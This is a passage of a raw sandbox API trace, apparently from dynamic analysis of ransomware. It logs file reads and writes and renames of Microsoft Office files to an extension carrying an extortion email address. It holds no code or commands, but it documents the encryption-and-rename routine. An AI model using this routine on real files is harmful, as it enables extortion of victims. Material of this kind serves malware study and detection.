dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0210.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0210.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0210.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0210.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0210.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0210.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0210.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0210.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0210.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0210.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0210.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2298068 [0210.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0210.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a3268 [0210.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0210.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0210.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0210.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0210.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0210.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0210.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0210.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5cee58 [0210.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0210.150] WriteFile (in: hFile=0x284, lpBuffer=0x5cee58*, nNumberOfBytesToWrite=0xa58, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cee58*, lpNumberOfBytesWritten=0x18eed4*=0xa58, lpOverlapped=0x0) returned 1 [0210.152] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0210.152] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa4c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0210.152] CloseHandle (hObject=0x284) returned 1 [0210.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0210.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2293e20 [0210.152] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0210.152] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PS10TARG.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ps10targ.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PS10TARG.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ps10targ.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.153] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0210.153] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0210.153] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0210.153] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0210.153] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0210.153] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0210.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0210.155] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.156] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.157] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.157] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2f0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2f0, lpOverlapped=0x0) returned 1 [0210.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0210.157] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0210.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0210.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0210.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0210.157] GetLastError () returned 0x0 [0210.158] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0210.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0210.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0210.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0210.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0210.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0210.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0210.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0210.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0210.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0210.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0210.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0210.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0210.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0210.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0210.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0210.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0210.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0210.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0210.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0210.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0210.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0210.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0210.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0210.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0210.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0210.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2298068 [0210.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0210.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a3268 [0210.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0210.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0210.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0210.159] WriteFile (in: hFile=0x284, lpBuffer=0x69f268*, nNumberOfBytesToWrite=0x418, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x69f268*, lpNumberOfBytesWritten=0x18eed4*=0x418, lpOverlapped=0x0) returned 1 [0210.161] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0210.161] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x408, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0210.161] CloseHandle (hObject=0x284) returned 1 [0210.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0210.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2293e20 [0210.161] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0210.161] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PS2SWOOS.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ps2swoos.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PS2SWOOS.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ps2swoos.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.162] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0210.162] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0210.162] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0210.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0210.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0210.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0210.163] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0210.164] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.165] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.166] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.166] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4c4, lpOverlapped=0x0) returned 1 [0210.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0210.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0210.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0210.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0210.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0210.166] GetLastError () returned 0x0 [0210.167] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0210.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0210.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0210.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0210.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0210.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0210.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0210.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0210.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0210.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0210.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0210.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0210.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0210.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0210.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0210.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0210.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0210.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0210.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0210.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0210.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0210.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0210.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0210.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0210.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0210.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0210.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2298068 [0210.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0210.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a3268 [0210.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0210.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0210.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0210.168] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0210.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0210.168] WriteFile (in: hFile=0x284, lpBuffer=0x31ce4c8*, nNumberOfBytesToWrite=0x5e8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31ce4c8*, lpNumberOfBytesWritten=0x18eed4*=0x5e8, lpOverlapped=0x0) returned 1 [0210.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0210.170] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0210.170] CloseHandle (hObject=0x284) returned 1 [0210.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0210.170] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2293e20 [0210.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0210.170] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PS9CRNRH.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ps9crnrh.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PS9CRNRH.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ps9crnrh.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.171] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0210.171] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0210.171] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0210.171] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0210.171] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0210.171] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0210.171] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0210.174] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.174] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.175] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.176] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1200, lpOverlapped=0x0) returned 1 [0210.176] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0210.176] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.176] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0210.176] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0210.176] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0210.176] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0210.176] GetLastError () returned 0x0 [0210.177] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0210.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0210.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0210.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0210.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0210.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0210.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0210.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0210.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0210.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0210.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0210.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0210.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0210.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0210.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0210.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0210.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0210.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0210.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0210.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0210.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0210.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0210.177] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0210.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0210.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0210.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0210.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2298068 [0210.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0210.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a3268 [0210.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0210.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0210.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0210.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0210.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0210.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0210.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0210.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0210.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0210.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0210.178] HeapFree (in: 